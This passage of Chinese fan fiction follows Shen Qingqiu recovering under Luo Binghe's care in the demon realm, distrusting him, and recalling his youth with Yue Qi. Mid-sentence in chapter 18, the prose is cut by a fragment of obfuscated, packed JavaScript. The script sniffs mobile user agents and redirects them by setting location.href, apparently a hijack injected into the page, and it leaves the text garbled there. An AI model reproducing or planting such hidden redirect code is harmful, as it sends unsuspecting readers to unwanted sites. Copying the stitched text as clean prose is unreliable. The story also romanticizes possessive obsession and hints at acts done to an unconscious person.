有了充足的睡眠、合适的医药、细致的照料,沈清秋的脸色终于不再像之前一样苍白如纸。看着瞳孔略显迷茫的沈清秋,洛冰河笑的跟朵花似的: “师尊,您好些了吗?” 沈清秋:…… 少年,你谁啊? 他的记忆好像有些问题,一些片段出现了模糊化的效果。这种情况并不是没有出现过,在心理学中,这叫‘应激性失忆’。 指当人受到某些伤害之时,大脑为了保护人体,选择性的掩盖一些痛苦回忆,以达成躯体的正常运转和人体的正常生活。 只是,沈清秋是个心智还算坚定之人,即便那些回忆确实很令人恼火,在稍微花点精力‘激活’之下,还是能将其他‘读取出来’的。 嗯—— 行吧。 一个没啥能力、又有点小心机的工具人。曾经在他名下待过一段时间,后面到魔界这边当卧底,以曲线救国的形式将他救下,现在是他名义上的‘主人’。 其实。 沈清秋对于‘洛冰河’这个便宜弟子,并没有太多想法。最直接的原因是双方没有日常接触,更多的是——洛冰河是被岳清源‘塞’入他门下的。 沈清秋虽然在收徒大会上对洛冰河有点兴趣,但并不算多在乎。真正让他烦躁到连杯子都砸了的,是岳清源的传话: ‘洛冰河乃是半魔,是修真界计划的一部分,可用他打击魔界。’ 堂堂修真界第一门派,却要用十岁孩童去做戏,寄希望于少年时期的培养,让他去魔界闹个天翻地覆。 何其可笑? 沈清秋当即就摔了杯子,连敬师茶都没喝,用行动表明对这件事的态度。 只是。 当第二天沈清秋于讲课时偶遇对方,又看到岳清源送过来的零碎‘赔礼’时,他便知道这件事‘非他不可’、‘推脱不掉’。 待他查询一番才知晓,此子身份为上任魔尊与幻花宫少宫主之子,而修真界早早埋下的暗线、刻意操控对方人生的那些家伙皆已死遁。 身世凄惨、少年早慧的半魔,想要在‘魔物露头就要被打死’的修真界存活下去,只能跪在那群千年狐狸面前,将未来许出去。 眼里满是感激、哐哐跪地磕头的少年,与散发着香气的、主动走入狼群,还兴奋于‘自己很有价值’的羊羔,并没有什么区别。 一样的单纯又肥美,满脸写着‘我很有用,快来宰我’。 沈清秋虽然不是什么好人,但也不至于坏到心肝脾肺肾都是黑的。只好连夜翻书,给他找了份魔族能在修真界修炼的浅薄心法。 鉴于这种事不能做的过于明显,所以那份心法里,存在许多‘一眼看去啼笑皆非’的破绽。 刻意做旧的心法被沈清秋随意的‘丢过去’,为了做戏做全套加防止那傻子走火入魔,沈清秋又下令严禁清静峰其他人将心法‘借’于洛冰河。 而在外人看来,便是‘沈清秋对洛冰河恶意极大、极其不善’;同样的,对修真界的‘计划’极为不满和不配合。 与此同时,岳清源偶尔会出现在他面前,各种唠叨着希望他去私下见对方几面,哪怕是走个过场,随便打发几个零碎也行。 沈清秋很不开心,但更不想听某人的和尚念经,只能大晚上的牺牲睡眠时间,专程跑到弟子居住的地方,敲打明帆,让他不要做的太过火。 然后走到某个傻子面前,丢几个魔族也能使用的灵器和禁术,扔完就走、毫不停留,主打一个‘劳资已经来过了,别TM逼逼叨叨在劳资耳边絮叨了’。 嗯…… 沈清秋实在不是什么‘良师益友’,更做不到友善的给对方讲解疑难杂症,而且洛冰河也不是明帆那种热烈又能干的性子,沈清秋实在是……接触不起来啊。 这样两个近乎‘陌生人’的师徒关系,若非他被人算计,大概是一辈子也不会有接触吧? 只是洛冰河的态度,是不是有些过于‘亲近’和不正常了些? 沈清秋都需要从脑子里认真扒拉半天才能找出来的记忆,对方没道理会记得啊。 怎么想都是有点奇奇怪怪的样子。 〈冰九16〉救下他,是为什么? 当散出的好意被人珍而重之的收下,接着在某些时刻,得到回馈时——还是很令人欣慰的。 ———— 沈清秋对洛冰河没有太大关注,自然也不会对他有太多期待与要求。 身陷混沌之时,亲近之人若是没来,他会失望和愤怒;可萍水相逢、没什么联系之人来没来,就完全无所谓了。 不存在期待,自然没有心理预设;没有‘他一定会来’的想法,自然不会有‘他怎么还不来’‘他是不是不来了’的心里落差。 如果说,有人在修真界‘救’下他,沈清秋会给出诸多法宝、灵物、内门弟子的地位与该有的指导。 这是对对方‘救下他’的补偿,亦是千金买马,对其他‘危难之际可救可不救’之人的鼓励。 可惜,现在是在魔界,沈清秋自己什么都没有,甚至还随时会被重新打入地牢,接受敌人的花样羞辱。 救下这样子的他,对其他人来说,并不是明智的想法。不管是求财还是求势,哪怕是寄希望于他的未来,都是极其不划算的。 那么—— 洛冰河拼着得罪魔尊的代价,以曲线救国,将他‘带’回自己的寝宫。又花费精力和时间,将他救活、并且修复得还算不错,是为什么? 别说什么‘为了师尊赴汤蹈火的蠢话’。虽然沈清秋觉得对方没什么脑子和能力,但不代表这家伙不适合修真界。 打第一眼看见这家伙,他就知道这是个与自己一样、抓住机会会拼命往上爬、完全不在乎期间经历了什么、只要结果正确一切无所谓的,世俗小人。 即便是对方在他面前表现的再局促和谨慎,能在三年间从魔界散兵爬到圣子的位置,并且还能在魔尊手下将自己‘讨要’过来,就绝对不是什么‘傻白甜’。 沈清秋不喜欢弱者,更不擅长照顾弱者的情绪。如果洛冰河真是一个什么也不懂的‘傻弟子’,沈清秋会毫不犹豫的用他做局,替自己趟一条离开魔界的路。 可若是这家伙对外颇有手段,对他恭敬不已,还能谨记他的吩咐,完美解决他遇见的问题,奉上他想要的资源…… 这样的‘弟子’,谁不喜欢、谁不想要、谁会拒绝啊?! 沈清秋不算好人,但也不至于坏得彻底。他有自己的行为准则,对其他生物更多是‘无所谓’的随意。所以他不会在乎除几人外的所有一切。 可能是养尊处优太久,在没什么太大危险时,沈清秋偶尔也会散发一些无关紧要的善意。 比如偶尔指点一下外门弟子,感受下弟子们对‘尊长’的尊崇:出山救个平民百姓,看着他们因自己脱离苦海而获得微不足道的成就感;对某个傻棋子略微提点一下,让他拥有一丢丢的自保能力…… 这些举手之劳,沈清秋也没抱什么‘获得回报’的希望。他只是偶尔途径,心念一动,就做了。他已爬到至高峰主位,若是做事还不能随本心,倒不如干脆当个无拘无束的散修。 只是—— 当散出的好意被人珍而重之的收下,接着在某些时刻,得到回馈时——还是很令人欣慰的。 沈清秋看着在眼前晃来晃去,明显比自己还要激动的‘弟子’,第一次感叹,做个好人,确实不错。 怪不得岳清源怎么都要披一层温和友善的外皮,这种因表象而被忽悠的傻子,是真的会信。 虽然沈清秋从不觉得自己是好人,更不是君子。但如今他需要洛冰河的‘帮助’,更需要对方‘谨遵弟子身份’、为他‘提供资源和照料’。 沈清秋也不介意——付出一些关注,让这段‘师徒关系’,延长的久一点。 —— 身边之人什么都好,就是有和岳清源一样的毛病,非常喜欢絮絮叨叨: “怕疼就早点喊我,受委屈受责打就说出来。弟子又不是不给您出气,偏要自己硬扛着,搞出病来,还不是自己难受?还不是弟子替您善后?” “……” 沈清秋有点无奈。虽说他打算说点什么来‘攻略’对方,以确保对方的心思正常,愿意后续为他提供外界帮助。 但——这家伙也未免太唠叨了,他都不觉得累吗?而且话里话外,虽说身份摆在‘弟子’,可这交谈嘱咐的地位,却是平级甚至过于亲近了。 洛冰河如此‘自来熟’吗? 而且为什么他莫名其妙的会觉得对方‘真的想得到他的关注’、‘希望得到他的欢心’、‘想看他开心的样子’? 甚至说,在他的心底深处,竟然觉得这个没怎么接触的弟子,是真的很不错? 沈清秋隐约感受到某些不对劲。 他将这种‘违和感’归入‘没想到会在魔界休养生息’的事实中,强行将这种莫名其妙的开展和疑惑给压下去。 他们残酷修真界的人,绝对不可能有除了修为、前途、势力外的其他图谋!如果有,必然是为了获得更多! 只是,随着相处的时间拉长,沈清秋心中的疑惑开始越来越严重。他不是一个轻易放下心防、相信他人的性子,却为何……总觉得眼前之人处处合他心意? 没有人能完全契合另一个人,除非那个人的段位比他高太多。所谓‘降维打击’,当另一人对他过于了解,就像是拥有剧本之人对世界的发展脉络掌控一般,是完全可以碾压其他人的。 那么。洛冰河对他的了解,究竟有多少? 当他打算‘攻略’洛冰河,压榨对方价值的时候,洛冰河是不是已经‘攻略’了他,并在某些时刻已达成了对方想要的东西? 而这一切的转折与开端,不是他被掳到魔界,也不是他被当众折辱,而是—— 洛冰河对他的‘救治’。 没错,唯有这一点,是洛冰河独立完成的。也正是这一点,才令沈清秋对‘洛冰河’这个人开始上心,继而打算花点心思维护这段‘师徒’关系。 对于‘成为魔界俘虏’这件事,沈清秋设想过会被丢在地牢,罪罚责打、酷刑折磨。 这些对他而言都是家常小菜,只能造成皮肉之苦、行为不便,只要没有直接将他弄死,并不会有其他损害。 也设想过会意识沉沦,再也醒不过来。只是反正灵魂都磨灭了,留下躯体如何,沈清秋也无所谓。 更以人性最大的恶意,推测过成为洛冰河的‘床奴’,日日沉沦、夜夜笙歌。 敌人(魔尊)既然以这种行为折辱他一次,(洛冰河)也极有可能一直使用,牢牢的将他困在床铺之上,逃不出来。 但…… 他是真没想到,洛冰河的‘折辱’,真的只是为了将他从魔尊面前捞出来,甚至还给他安排了床榻和宫殿,寻找大夫、令他仔细修养。 这样的发展,是沈清秋完全想不到的。 甚至说,就算是洛冰河当真好心,沈清秋能想到的最好情况,就是拨个客房给他居住、不给他拴上铁链、不限制他的行动。 至于给不给疗伤药物,完全取决于主人家(洛冰河)的心情与道德底线。 〈冰九17〉没被信任过的人,很惶恐 哪怕是沦为任人辱骂的‘战败者’,成为反复被压榨的奴或宠,甚至断手断脚,再也睁不开眼、听不到声音,也…… 没有现在这样的,心里不踏实。 ———— 他始终是那个被亲朋抛弃、孤身一人迎战世界的孩童,即便是位居峰主之尊,成为修真界战力巅峰,心中关于旁人对他的善意、其他人会不会对他进行帮助还是惶恐的。 没有人真正站在他的背后,无条件的选择相信与支持。故而当沈清秋感受到洛冰河对他的‘听从’与‘付出’,毫不犹豫的为他在魔界奔波、丝毫不在乎‘暴露’的后果时,他本能的感到不理解与不相信。 他对这个弟子根本没有上心,也没怎么释放好意,对方却顶着惹怒魔族至尊的风险,‘回报’给他这样的‘救命之恩’、‘师徒之情’? 不被人相信的少年就算是得到了旁人的支持,心里面想的也不是‘善有善报’,而是‘他一定有我目前不能理解的目的’。 以及‘我不可能得到对方毫无保留的信赖’,和‘得了吧,对方迟早会发现我根本不值得信任,最后收回对我的好,我总会是孤身一人’的恐惧。 沈清秋的防备心很重,安全感很差。可他不是没有付出过信任,只是与他最亲密的人,曾认真的与他在月光下隔着一道门定下誓言——结果当然是没人赴约。 所以他不会原谅岳七,更不会记得当初信誓旦旦、却被伤的遍体鳞伤的沈九。 他也曾试着付出一些小善意,比如替某个没脑子的玩意斩杀魔物——结果导致他与对方彻底决裂,见面就砍。 沈清秋不该与人接近的。甭管是修真界大能,还是偶尔遇见的凡人,他们最后的下场都不会太好。 且不说那些被人追杀、被他所救下的凡人。因‘偶遇仙人指路’,进而被达官贵人和修真界小门派注意到,人生际遇被大幅度更改,心比天高的代价就是最后落得凄惨收尾。 就那个明明身为修真界的战力第一,在沈清秋那该死的良知又拉着他去散发善意时——就连战力最巅峰的人,也难逃陨落的下场。 那个战力至高之人,死在沈清秋的剑下。 有时候不知道是沈清秋太倒霉,还是他命犯孤星。他每次想要撒出一点点善意的时候,命运总会让他见证因他的‘插手’而被波及、修改的他人生涯。 不要随意接触旁人,他承接不了他人的因果,更没办法给其他人带来好运!相反的,他就像是传说中的瘟神一样,只会给其他人带来厄运。 而他这样只会带给其他人麻烦的家伙,最后能遇见的、接收到的,全是恶意。 人每日与恶意打交道的时候,如果触碰到了其他人的善意,难免会有些束手无策和小心谨慎。 而那个惶恐不安的、从没收到过其他人信赖的、只会给其他人带来灾害的少年郎,在遇见如此赤诚的‘弟子’时,心里难免各种推测与猜忌。 比如沈清秋已经设想了无数次,洛冰河为什么要将他救下来,又为什么不继续折磨他。 哪怕是沦为任人辱骂的‘战败者’,成为反复被压榨的奴或宠,甚至断手断脚,再也睁不开眼、听不到声音,也…… 没有现在这样的,心里不踏实。 沈清秋有疑心病。他对一切都持怀疑态度,对一切都警惕又谨慎,哪怕是散发出的一丢丢帮助,也从没想过会收到回报。 他从本质上就认为一切都是恶的,所有接近他的人都是为了向上爬,即便是当初收下洛冰河,他也觉得这个半魔与自己一样,心狠手辣、为达目的不择手段。 这才是他这种人应该遇见的故事、应该触发的世界线,他这样从不敢与人为善、甚至就算发个善心也很容易让人倒霉的家伙,本来就不该受到‘温柔对待’。 可现在的一切却在颠覆他的认知—— 他设想中‘最离谱也能接受并拔剑反抗’的情节并没有出现,甚至他意识清醒,浑身除了虚弱外并无其他,那个理论和事实上都拥有‘对他绝对支配权’的人,竟然对他极为善意? 太离谱了。 超乎沈清秋预料的……令人惊悚。 他这样习惯了寒冷的人,真有人捧着一把火过来,他也会怀疑对方是不是想用火把伤他,而非希望两人一同点堆火来取暖。 —— 当洛冰河又一次在沈清秋耳边嘟嘟囔囔的时候,沈清秋实在是忍不住心中的恶意揣测与莫名其妙生出来的亲近感,打算将对方撵得远远的。 这个人太怪异了,形式作风也完全不符合修真界。为了避免将灾祸牵扯到对方身上,沈清秋还是决定将对方打发走,也算是他这个做‘师尊’的,难得的良心吧。 虽然胳膊依旧抬不起来,声音也虚弱无力,可毕竟身居高位已久,沈清秋的气势只要摆起来,是完全不输阵的。 甭管对方究竟有没有问题,也别管这个弟子近些天为了他忙忙碌碌奔波多久,沈清秋这种东西不适合与人沾染,他只配一个人清静,坚强的应对命运对他的打压。 故而,沈清秋就像是瘸子站起来后毫不犹豫的丢掉拐杖一样,简单干脆的给对方下逐客令。其动作之坚定、语气之冷漠,像极了拔刁无情的渣男:“滚。” 可惜,对面的家伙虽然一脸恭敬的忙前忙后,对沈清秋的‘撵人’却完全不在乎,甚至脸上还挂起了‘不赞同’和‘我是为了你好’的神情,极为清脆的反驳: “弟子滚了,您怎么办?” 沈清秋:…… 看吧,这家伙居然反驳他了! 他就说对方不可能只是个‘想当弟子’的家伙,这理直气壮的样子,怎么可能只‘甘心’当弟子? 必然是想在他身上得到什么的。 只是…… 可能是对方的弟子样式太标准,也可能是沈清秋仙尊当惯了,沈清秋的心里莫名产生一句话: ‘长本事了,敢跟他顶嘴了。’ 虽然这句话很不合时宜,就像是他真的将对方当成了弟子似的。而且这个熟谙的语调与熟悉程度,险些令他以为自己面前的是明帆。 但更让沈清秋疑惑不解的是,他心里莫名其妙的又冒出另一句实在是过于像他能说出来的话: ‘果然修真界实力为尊,他势弱的时候,连徒弟都敢跟他唱反调。’ “……” 丫的,他的心理好像出问题了。 他清楚的知道那两句话绝对不是‘他’说出来的,可这语气与遣词用句,又确实是他能说出来的。 或者说,这些词句,是他对‘洛冰河’产生信任之后,将对方放到与明帆、宁嘤嘤一样的身份后,能说出来的。 洛冰河这个家伙太古怪了,这才短短几天,他居然会将对方放到明帆一类的‘亲近弟子’位置? 是对方太会伪装,还是过于赤诚和真心,居然令他这种几乎不会信任的人都产生了‘此人还可以’的评价? 好好笑(??????) 是吧。沈清秋:我做好被打被骂被压的准备了,结果对方居然打算装乖怀柔??? 〈冰九18〉他要抱起这只刺猬 当你想要拥抱的人警惕万物,并且防备心很重。是强行撬开他的尖锐,还是温情以待、期待其主动展开柔软? ———— 如果想要养一只胆小怕人的刺猬当宠物,主人家要如何与其接触和拥抱? 是强硬的将他的刺全部拔下来,撬开能保护他的硬壳,让他只能接受自己的触摸;还是带上厚厚的手套,将防护添上一层又一层? 可…若是主人家,实在是想要表达自己的喜爱,非要贴着心口、去拥抱对方呢? 洛冰河有些不太希望沈清秋清醒了。 昏迷的沈清秋,洛冰河虽然谴责自己,却能真正的将对方拥入怀中。 受伤的沈清秋,洛冰河可以理所应当的为对方收整衣物,处理伤口。 没办法自主喝药的沈清秋,洛冰河可以小心谨慎的按压对方的唇齿,揉捏对方的下颚,‘帮助’对方将药物顺下去。 至于在其中发生些不足为外人道的事情,也无非是两人之间的小乐趣;即便洛冰河十分害怕对方睁眼,却还是乐此不疲的‘照料’。 可现在—— 清醒的沈清秋,虽然只能言语上让他滚,神情上和行为上,都是那么的抵触和反感。 就算是洛冰河想喂对方一些清水,沈清秋都要挣扎着夺过去,看着洛冰河喝完一口、确认没毒才会饮下。 一开始,洛冰河心里是欢喜的。 两人用同一个杯子、喝同一碗茶。怎么不算‘满饮此残茶,定白首之约’? 只是—— 沈清秋过于严肃的神情,满眼怀疑和警惕的目光,像是能穿透人心一样的视线,动作粗鲁到几乎写满了‘抗拒’的身体语言。 都在表明一件事: 沈清秋怕洛冰河下毒,甚至在用洛冰河试毒。 明明……是洛冰河花了大量的精力和时间去为对方寻找药材、熬煮药膳,又精心筹备沈清秋的衣食住行,帮这个卧床不起、无自理能力的病人维护最基础的体面。 如果洛冰河真的想下毒,干嘛不直接在一开始直接不治疗?如果他真的心怀不轨,又何必在当初将他救下?如果他本性为恶,干什么要将毫无反抗之力的沈清秋一点点调养得面色红润? 他做了那么多,他师尊还是‘怀疑’他、‘警惕’他、‘防备’他。 真是太不友好了。 洛冰河真的会伤心、会觉得好心被辜负的! 但那又如何呢?谁让洛冰河就是想要得到沈清秋的关注,希望主动付出温情,软化沈清秋的态度,令他将自己当成真正的‘弟子’;继而与对方更多的接触,甚至一点点入侵对方的空间,成为与对方携手同行之人? 先喜欢上的,就是要花精力去让对方看见;花时间去与对方接触;认真制定和执行计划,一点点打开对方的心防,建立及其不容易产生的信任和依赖啊。 洛冰河看过沈清秋的记忆,知道他师尊是一只被人伤害过、不得已只能对万物树立起尖刺、对所有人警惕防备的刺猬。 当你想要拥抱的人警惕万物,并且防备心很重。是强行撬开他的尖锐,还是温情以待、期待其主动展开柔软? 尤其是,如果洛冰河真的‘尝试’去强硬拔除……以沈清秋的强烈反抗,估计他们必然会走到双杀的局面。 ‘难啊。’ 洛冰河叹口气。 凭什么沈清秋在其他人身上受到的伤害,却要他这个‘后来者’为其弥补呢。 真正该为他说道歉的人,明明满是机会,却为何——从不曾真的讲清楚一切,斩断沈清秋对那人的纠结与愤恨、期待与失望? 可是以沈清秋的别扭性子,就算是岳清源‘诚恳道歉’,沈清秋也会不屑一顾、认为伤害已成,愧意和弥补都是没用的东西吧。 但岳清源的‘不直截了断’,又在不停的勾着沈清秋的期待,总会在对方说话之时将视线投过去。然后在‘并没有得到歉意’后忍不住的失望,最后成为再也不想付出信任的绝望。 岳清源,岳掌门。 真的是…… 好算计啊。 ‘没办法啊。’ 谁让洛冰河出现太晚,沈清秋的年岁太长,对方受到伤害的时候,洛冰河甚至都不在世间,更不可能阻拦和强行横插一脚。 等洛冰河有机会参与沈清秋生活的时候,岳清源与沈清秋之间的恩怨纠缠已太深。岳清源已成为极为完美的掌门,而众所周知,沈清秋是岳掌门的心头血。 所以,在岳清源数次为沈清秋退步、在众人之间明晃晃的偏袒、在其他人提起时厚重又慈爱的微笑中,更不会有人觉得,岳清源,会亏欠、需要弥补沈清秋。 能成为一派掌门的人,连年少情谊、他人性情,都利用的明明白白,光明正大。 只是可怜了洛冰河这个‘想抱起对方’的后来者,面对着被伤害又紧紧捂着伤口不愿被人知晓的刺猬,露出无能为力的苦笑。 他要如何拥抱一只全身警惕、心底创伤无数、将脆弱压在最内侧、只留一丢丢柔软的刺猬? 他要怎么去化解对方内心的矛盾与纠结,抚平对方下意识紧皱的眉头,重建对方再次信任旁人的能力? 他要通过什么样的方法,才能解决沈清秋基于记忆和性格的残缺,去跨过那些不安、恐惧、茫然与无措,真正的拥抱对方? 想要得到一只刺猬的亲近与信任。 首先要让他熟悉你的气味。 这种气味,是要靠亲身接近,不断用毫无防护的双手和体温去刷存在感,才能让他闻到并熟悉,进而接受并习惯。 而如果有人想要抱起一只刺猬。 需要穿过层层倒刺的遮掩,忍受十指被扎破、患上破伤风的危险,轻轻的将对方从地上抱起,给予对方绝对的安全感和舒适度。 为了防止对方因‘悬空感’和‘站不稳’而挣扎,想要抱起刺猬的人,还需要小心将刺猬放到臂弯与怀中,放任对方的尖锐刺穿皮肉,忍受对方因调整姿态导致的鲜血淋漓。 在此期间,主人家需要经历无数次刺猬因害怕、警惕而蜷起的满身冷硬,注意自己的行为举动——因为就连声音、影子和光线,都有一定的可能会刺激到对方。 至于熟悉后的展露腹部…… 不知道需要多久的互动与坚持,才能看见那么一丝丝的曙光。 而就为了那么一点点的可能性,主人家必然要付出无数的精力与鲜血,用无尽的耐心和温情,去抚慰对方数次的抗拒与害怕。 没办法。当洛冰河想要真正‘得到’沈清秋,认定对方是他的,只能是他的,必须是他的时候。 他对‘沈清秋’的认知,就已经不同了。 如果说一开始的洛冰河只是想要给对方一个‘简单帮助’,为之后可能会发生的事情做一个简单的投资。 在与对方深入接触,亲自品尝过对方的挣扎与抗争,见证过对方的失落与孤寂后。 洛冰河,早就不满足于‘施恩于对方’,‘两者利益交换’这么简单的事情了。 甚至说,再更早的时候。在一开始洛冰河为自己下了数次暗示,决定要以‘怀柔’之计感化沈清秋,将对方‘讨要’到自己宫殿时—— 洛冰河对沈清秋的志在必得,已初显峥嵘。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292798|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而之后的亲密接触,为人疗伤治病,违背‘弟子人设’将对方偷偷拥在怀中,展露想为沈清秋清除一切困扰的‘偏执’—— 则更进一步的,表明洛冰河对沈清秋的强势占有欲。 拥有野心的洛冰河在看见对方的第一眼是‘保下对方’,被‘洗脑成温柔弟子’的洛冰河愿为此人除去所有阻碍。 他们都是‘洛冰河’,都毫不犹豫的选择将沈清秋‘变成自己的’,都费尽心机、用尽手段的想要‘得到’此人。 为此—— 遇神杀神、遇佛杀佛。 洛冰河是个很有耐心的猎人,更是为了达成目的可以忍受诸多不便的野心家。 他可以为了沈清秋,将挡在自己面前的敌人全部杀死;更可以为了获得沈清秋的信任,将自己打造成‘一朵小白花’。 沈清秋这只刺猬将内心包裹得过于严实,不说能不能展示腹部,便是连对洛冰河的接近不再炸刺和蜷缩,都需要很长的一段时间。 好在,优秀的猎人从不在乎那些。 他会顶着人畜无害的面容,挂着谦虚恭敬的微笑,用‘弟子对师尊的荣慕’和‘弟子在外生活不好,需要师尊关心’的巧计,令沈清秋一点点打开心防。 在此之前,沈清秋即便是想要毁灭魔界,洛冰河也会笑眯眯的将魔族禁忌递上去,装成什么也不懂的样子,任对方‘研究’。 〈冰九19〉怎么不算‘温馨日常’呢 洛冰河到底是如何能一边在他耳边絮絮叨叨,一边还能在厨房花样百出的每天整治各色不重样饭菜的? ———— 洛冰河打定主意要给予他师尊最好的治疗和最佳的生活体验,所以无论沈清秋如何‘拒绝’,洛冰河都会每日更换新鲜菜肴,各种汤膏补品轮番上阵。 尤其是,洛冰河极其自觉的用魔力将饭菜维持在最佳温度,冷热酸甜、饼糕羹冻均色相极佳,不同的味道完美融合,完全不存在谁和谁掺杂之后产生奇怪的气息。 沈清秋半坐于床铺之上,背后垫着松软的被褥和皮草,颇为无语的看着眼前五花八门的食品。 所以洛冰河到底是如何能一边在他耳边絮絮叨叨,一边还能在厨房花样百出的每天不重复整治各色饭菜的? 洛冰河选择的桌子为圆形,上面另加一层略小些的圆盘,可随着圆盘的移动,将每道菜送至沈清秋面前。 沈清秋看着洛冰河将面前的菜品吃上一口并咽下后又用新筷子为自己夹菜,极其自然且避嫌的——从另一侧夹了一筷子。 别问他为什么要等洛冰河吃完在夹,因为他信不过对方。 也别问他为什么不吃对方布的菜,甚至还要专门换一处夹,因为信不过对方。 更别问他为什么非要吃饭而不是啃辟谷丹,因为他还不能下地,信不过对方给他的丹药。 嗯……虽然说他的潜意识好像有些莫名其妙的‘相信’对方,但只要他是清醒状态,他就绝对不可能放下警惕心! —— 或许是洛冰河找的大夫确实很有实力,沈清秋的状态一天比一天好。 具体表现在—— 从一开始虚弱的需要洛冰河喂药到坚决的推开药碗,非要看着洛冰河喝上一口,然后颤颤巍巍的在打碎了无数瓷碗后……一口将药汤喝完。 从一开始的坐起来夹菜吃饭到坚定的表达自己需要xxx药材,还需要丹炉要自己炼辟谷丹,接着因控火不稳而炸毁了无数天灵地宝后……干脆熬成了汤剂。 从一开始的刚准备翻身就摔下床铺,还坚决拒绝洛冰河将他‘抱上’床铺,用尽九牛二虎之力也没能‘爬’上去;最后还是洛冰河使用魔气‘隔空’将他拉回床铺,到最后的……现在拄个拐杖走路。 嗯。情人眼里出西施,哪怕沈清秋因为过于‘执着’闹出不小麻烦,洛冰河看着对方努力挣扎、坚决不允许他触碰到样子,还是忍不住想笑。 等沈清秋能站起来之后,虽然对洛冰河一如既往的警惕和厌烦,但在洛冰河的‘主动试毒’之后,倒也算是能和谐相处。 尤其是在洛冰河的强烈要求下,沈清秋‘皱着眉头’同意了一周至少要‘一起吃一顿饭’,换取洛冰河‘没有他的允许不许乱动沈清秋的东西’。 沈清秋平日里都在写写画画,用各种魔界独有的材料做研究,闲暇之余还尝试着在魔界用灵气修炼。 可惜灵力的修炼与魔界的魔气实在是两种截然不同的力量体系,修炼效果甚微不说,还因为‘系统不兼容和硬件不匹配’闹出了不少bug。 沈清秋体内原有的灵脉与主动吸收入体内的魔气发生了相当严重的冲突,产生了爆裂到比走火入魔还可怕的后果,连着好几次都搞得血脉逆转,险些濒死。 无奈的洛冰河只好顶着大夫一次又一次的谴责目光,接受了其他人传出去的‘洛冰河将沈清秋折腾得极惨’这个风评…… emmmm…… 沈清秋绝对是故意的! 现在整个魔界都觉得他这个弟子实在是干的漂亮(欺师妄上),完全不在乎曾经的师徒情不说,还将曾经的仙尊狠狠打压成下不了床的样子,每次都是处于濒死极限,若非魔尊赐下的天魔血,对方早就死的不能再死了! 最大的体现就是—— 之前还有人质疑他对沈清秋有没有别的想法,现在都开始清一色的劝他对奴隶好点,别让对方死的太早了,沈清秋在修真界那边还是有点用的,别破坏了魔尊的大计。 “……” 洛冰河真的很想说,那些不是他搞的!他虽然很想将对方压到床榻里,骨血交融,折腾得对方下不了床。可事实上,他连与对方轻微接触都不敢啊! 考虑到魔界的风评和沈清秋的身份,洛冰河只能一脸冷漠的拒绝其他人的‘经验之谈’,顶着魔尊对他赞赏的目光,大跨步去寻沈清秋交代的材料。 这日子简直没法过了! 他要替对方扛风评不说,还得天南海北的给对方收集资源,若不是沈清秋偶尔会与他交流几句,多多少少给个夸奖,洛冰河早就撂挑子不干了! 虽然说……沈清秋的一切都是洛冰河在包办,甚至说沈清秋研究的那些东西也并没有收起来,而是就那么摆在书桌上。给了洛冰河极大的信任和协同权,只要洛冰河想,随时可以‘查看’与‘收走’。 但那又有什么用呢!理工科的东西,化学元素方程式、遗传DNA、力学三轴示意图,这些便是随便丢在大街上,又能有几人看懂?他们都有着防自学禁制啊! 沈清秋虽然不收走也不藏起来,但是在沈清秋不讲解的情况下,洛冰河能看懂吗?他知道那些曲折拐弯的东西、各种乱七八糟的数字,大写小写的符号是什么玩意吗? 侧厢房内,是摆放整齐的各种竹制的试管、烧杯、搅拌棒。同样的任洛冰河随时拿取和丢弃,完全不在乎有没有下毒或损毁,连个敷衍的防护阵法都不曾设下。 这样的‘信任’……洛冰河真的要感动得热泪盈面了好吗! 嗯...洛冰河终于明白了为什么自己好不容易种的竹子,总会莫名其妙的少一大半... 所以根本不是有熊猫喜欢吃,而是都被用来做实验了啊…… 对于沈研究员来说,他知道在魔界养竹子是多么艰难的事情吗?!尤其是花样繁多、种类齐全的,更是要耗费很多心思的好吧! 哎。真是可惜了洛冰河的一番苦心,还以为对方会觉得这地方就像是回家了呢。感情都是洛冰河的一番自我感动,压根没有想象中的回馈啊…… 〈冰九20〉过往.黑化九恨七 没有死去的白月光,比什么敌人都可怕。尤其是,如果这个白月光还撒下独独对你的温情,看似温柔的替你照亮前路——当然,那条道路,看起来极其光辉亮丽、踏实平坦。 ———— 人是一种从来学不会满足的生物。这种‘不满足’不仅体现在对未来的希冀,还有对其他人的期待与回应。 如果一个人持续付出而得不到回复。 一开始可能会觉得自己诚意不足、方向不对;后面会渐渐失落、默默流泪;再接着便是恐慌与愤恨,怀疑自己是不是给对方造成了极大的困扰、怀疑对方是不是心盲眼瞎;最后……是恨不得将对方踩入泥土的癫疯。 这些心态,沈清秋经历过。 当然,故事的双方并不是眼前这个晃来晃去的弟子洛冰河,而是独属于沈清秋的年少过往。 故事也很简单,是一个俗套的没人要的少年们抱团取暖,其中总是会有几个不合群的家伙们挑头搞事,然后大家会分出几个派别,竞争又干架(真的拼出血)的打打闹闹过往。 年少沈清秋没有人专门为他起名字,简单按照年龄排行为九,故而比他小的喊‘九哥’,比他大的喊‘老九’,和他关系不错的岳七,则会喊他‘小九’。 而沈九实在是能干,总是能凭借那张讨人喜爱的脸和能说会道的嘴得到最多的赏赐,获得最多的生存物资。 一般来说,他这样‘有能力’又‘有武力’的孩子,是很容易就能成为‘孩子王’和‘大哥大’的。 但最后为什么没成…… 是因为他不擅长分配资源,也不习惯与人交流,更不太能妥善的与其他人建立友情。 身为一个能获得最多资源,却不愿‘乖乖将东西全部拿出来分与其他人’的孩子,他很容易就会被群起而攻之,成为众人的集火口。 凭什么沈九能拿回最多的赏赐? 凭什么沈九不舍得将自己吃不完的东西‘分给’其他人? 凭什么他们要‘讨好’神气十足、永远占据着最好的地段、获得最佳赏赐的家伙? 如果一个人有异议,或许他的声音会很低微。 如果几个人有异议,沈九可以通过武力来解决他人。 可如果……是所有人呢? 一个人的能力即便是再强大,也无法随时随地的警惕所有人。 所以,当那个被‘推出来’笑意盈盈与他‘谈和’的岳七出现后,沈九就成为了其他人的‘工具人’。 